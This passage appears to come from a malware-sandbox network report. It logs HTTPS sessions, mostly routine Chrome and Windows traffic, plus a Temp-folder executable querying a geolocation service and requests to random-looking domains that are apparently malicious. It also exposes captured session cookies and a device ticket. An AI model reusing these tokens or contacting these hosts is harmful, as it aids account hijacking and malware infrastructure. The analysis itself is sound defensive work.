gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.g
2023-10-13 14:06:24 UTC	4544	IN	Data Raw: 6d 56 34 63 47 6c 79 65 53 49 36 4d 54 63 79 4e 54 51 77 4e 7a 6b 35 4f 53 77 69 61 58 4e 54 64 57 4a 6b 62 32 31 68 61 57 34 69 4f 6e 52 79 64 57 55 73 49 6d 6c 7a 56 47 68 70 63 6d 52 51 59 58 4a 30 65 53 49 36 64 48 4a 31 5a 58 30 3d 27 3b 64 2e 68 65 61 64 2e 70 72 65 70 65 6e 64 28 6d 29 3b 70 6f 2e 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 6c 4c 69 72 55 30 6e 61 39 72 6f 59 55 33 77 44 44 69 73 47 4a 45 56 54 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 3b 70 6f 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 27 61 6e 6f 6e 79 6d 6f 75 73 27 3b 70 6f 2e 69 6e 74 65 67 72 69 74 79 3d 27 73 68 61 33 38 34 2d 6c 77 4a 69 77 2b 4f 54 32 69 73 71 4c 6c Data Ascii: mV4cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/lLirU0na9roYU3wDDisGJEVT/recaptcha__en.js';po.crossOrigin='anonymous';po.integrity='sha384-lwJiw+OT2isqLl
2023-10-13 14:06:24 UTC	4544	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.4	49826	104.21.65.24	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:35 UTC	4544	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	104.21.65.24	443	192.168.2.4	49826	C:\Users\user\AppData\Local\Temp\C06.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:36 UTC	4544	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 13 Oct 2023 14:06:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=StnrMqObvDgqaPf%2BZUU%2B5dJdUCk2%2FI1FyDQfCyYFLubww%2F5mzEqsMEhtG6F8XmyQ5zNqXTDM4dTaKQwGgQ3bxcJHt0kVd%2FyYjxvpleeVx9QGHlAyYwBcp1ueuDWd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 815824e3c94a0d04-LAX alt-svc: h3=":443"; ma=86400
2023-10-13 14:06:36 UTC	4545	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 66 62 39 33 39 65 39 37 38 62 62 62 63 39 39 32 38 62 64 35 39 36 39 65 63 34 38 38 38 65 39 39 39 31 39 65 39 38 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#fb939e978bbbc9928bd5969ec4888e99919e98
2023-10-13 14:06:36 UTC	4546	IN	Data Raw: 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 34 39 32 31 32 63 32 35 33 39 30 39 37 62 32 30 33 39 36 37 33 63 32 38 37 36 33 61 33 63 32 62 32 33 32 63 32 61 33 64 37 34 37 62 32 30 33 39 36 37 33 63 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#49212c2539097b2039673c28763a3c2b232c2a3d747b2039673c
2023-10-13 14:06:36 UTC	4546	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.4	49834	20.190.190.195	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:40 UTC	4546	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4693 Host: login.live.com
2023-10-13 14:06:40 UTC	4547	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2023-10-13 14:06:40 UTC	4551	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 13 Oct 2023 14:05:40 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C106_BAY x-ms-request-id: 1f76b925-a799-4d37-a926-c871a1287533 PPServer: PPV: 30 H: SJ1PPFCD3611BCC V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 13 Oct 2023 14:06:39 GMT Connection: close Content-Length: 10921
2023-10-13 14:06:40 UTC	4552	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.4	49838	20.189.173.21	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:41 UTC	4562	OUT	POST /Telemetry.Request HTTP/1.1 Connection: Keep-Alive User-Agent: MSDW MSA_DeviceTicket: t=EwCwAlN5BAAUu1V9OkIAK55tj6h8OjaXgvkszYkAARM7KRlInrUpYt4OBiDTjLROncMDCBcvwcaq6hfBDfr8c8XbcBMZvL3Ui4fuSruNPmAiiFblMAE6xYn0JOJNKV+NRLZcul5KgN12B0TfXgsAdHIpJJn9T7HVtXI+8lyEsAy1c0g3Q/eqFsKTV5Xz7PHDZXz0qQGMI4/QpvHtuuPoZmP8tNk7zKKjlQ8X9a6+8EbqMIpmJkV29SJdaWgDrtAoRBeT27QzOO5Ke4Skl2YPS3ELTAyulVy3b8VMuBpOh5EACCLxWL8GJIFhzII2HCGUkbBTdBCWu02NuMee4HAoH2pechrSm6spW4IX8FihWyoOaIyaf3GtPZYXeeFncwIDZgAACFXEu6zLNOl3gAF173/i2wCE1m9zH8qxOY8aPZb88OIuPfbeFlKDWRa8/yEm6vOUoCwKr1HuXAf8s566ydrEaDBAoD86U1i2fP32PTeIsRJz+WKnB4O10VW0IcH0g6rCta/WVuUXPox1qAYxWkiQTW35x5ty/S4cvZrxoIeRArx9hu6kARozeYoNtfwC36RsLuxOhmKrovb/TPAfvPWRFr7MXUvFtDZV+A+6horkuVYC7KzkCax3PF9rnap0Hy7ezierEZLU7RiI1qxucOsLLZAYXTPTqu2zPyhTQzP7w9bmYLDqFYUg/iFkOctOkCEviJ3PW4OPHhMaUtxCpdyoXQ5O/MB9Cv9+udW5uHWJJBny8Vl4xZwu46N3gQMmW2Vjr2dMJAZ3yGgRIp5Qay7AOcTPfb4ScfHXJY43J/4uhvB1pRhHK38olOO/5tyj/Y5WT/7V2qMxKNmzNj0aHdyG8OxaqFE1IHH4ZRkCcwSu0RWqZZJC4GLpctx8oab19+9UQFYxLcCcsoRfnBy4AQ==&p= Content-Length: 4618 Host: umwatson.events.data.microsoft.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.4	49849	20.189.173.21	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:47 UTC	4563	OUT	POST /Telemetry.Request HTTP/1.1 Connection: Keep-Alive User-Agent: MSDW MSA_DeviceTicket: t=EwCwAlN5BAAUu1V9OkIAK55tj6h8OjaXgvkszYkAARM7KRlInrUpYt4OBiDTjLROncMDCBcvwcaq6hfBDfr8c8XbcBMZvL3Ui4fuSruNPmAiiFblMAE6xYn0JOJNKV+NRLZcul5KgN12B0TfXgsAdHIpJJn9T7HVtXI+8lyEsAy1c0g3Q/eqFsKTV5Xz7PHDZXz0qQGMI4/QpvHtuuPoZmP8tNk7zKKjlQ8X9a6+8EbqMIpmJkV29SJdaWgDrtAoRBeT27QzOO5Ke4Skl2YPS3ELTAyulVy3b8VMuBpOh5EACCLxWL8GJIFhzII2HCGUkbBTdBCWu02NuMee4HAoH2pechrSm6spW4IX8FihWyoOaIyaf3GtPZYXeeFncwIDZgAACFXEu6zLNOl3gAF173/i2wCE1m9zH8qxOY8aPZb88OIuPfbeFlKDWRa8/yEm6vOUoCwKr1HuXAf8s566ydrEaDBAoD86U1i2fP32PTeIsRJz+WKnB4O10VW0IcH0g6rCta/WVuUXPox1qAYxWkiQTW35x5ty/S4cvZrxoIeRArx9hu6kARozeYoNtfwC36RsLuxOhmKrovb/TPAfvPWRFr7MXUvFtDZV+A+6horkuVYC7KzkCax3PF9rnap0Hy7ezierEZLU7RiI1qxucOsLLZAYXTPTqu2zPyhTQzP7w9bmYLDqFYUg/iFkOctOkCEviJ3PW4OPHhMaUtxCpdyoXQ5O/MB9Cv9+udW5uHWJJBny8Vl4xZwu46N3gQMmW2Vjr2dMJAZ3yGgRIp5Qay7AOcTPfb4ScfHXJY43J/4uhvB1pRhHK38olOO/5tyj/Y5WT/7V2qMxKNmzNj0aHdyG8OxaqFE1IHH4ZRkCcwSu0RWqZZJC4GLpctx8oab19+9UQFYxLcCcsoRfnBy4AQ==&p= Content-Length: 4696 Host: umwatson.events.data.microsoft.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49747	91.215.85.209	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:05:27 UTC	27	OUT	GET / HTTP/1.1 Connection: Keep-Alive Accept: / Referer: http://rlibwtvoeubbxd.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: onualituyrs.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.4	49857	172.217.14.78	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:50 UTC	4564	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda X-Goog-Update-Updater: chromecrx-117.0.5938.132 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-10-13 14:06:50 UTC	4570	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-GPlRBTdUfT1ntIZnfEX9ug' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 13 Oct 2023 14:06:50 GMT Content-Type: text/xml; charset=UTF-8 X-Daynum: 6129 X-Daystart: 25610 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2023-10-13 14:06:50 UTC	4571	IN	Data Raw: 32 63 39 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 36 31 32 39 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 32 35 36 31 30 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 Data Ascii: 2c9<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="6129" elapsed_seconds="25610"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
2023-10-13 14:06:50 UTC	4571	IN	Data Raw: 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 2f 67 75 70 64 61 74 65 3e 0d 0a Data Ascii: 723f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app></gupdate>
2023-10-13 14:06:50 UTC	4572	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.4	49856	142.250.72.141	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:50 UTC	4565	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk; 1P_JAR=2023-10-04-09
2023-10-13 14:06:50 UTC	4566	OUT	Data Raw: 20 Data Ascii:
2023-10-13 14:06:50 UTC	4569	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Origin: https://www.google.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 13 Oct 2023 14:06:50 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-4H_qAMCvs3AF1RLhSlxBDQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2023-10-13 14:06:50 UTC	4570	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2023-10-13 14:06:50 UTC	4570	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.4	49859	142.250.176.4	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:50 UTC	4566	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk; 1P_JAR=2023-10-04-09

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.4	49858	142.250.176.4	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:50 UTC	4566	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk; 1P_JAR=2023-10-04-09

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.4	49861	142.250.176.4	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:50 UTC	4567	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk; 1P_JAR=2023-10-04-09

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.4	49860	142.250.176.4	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:50 UTC	4568	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk; 1P_JAR=2023-10-04-09

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.4	49866	142.250.68.14	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:51 UTC	4572	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda X-Goog-Update-Updater: chromecrx-117.0.5938.132 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
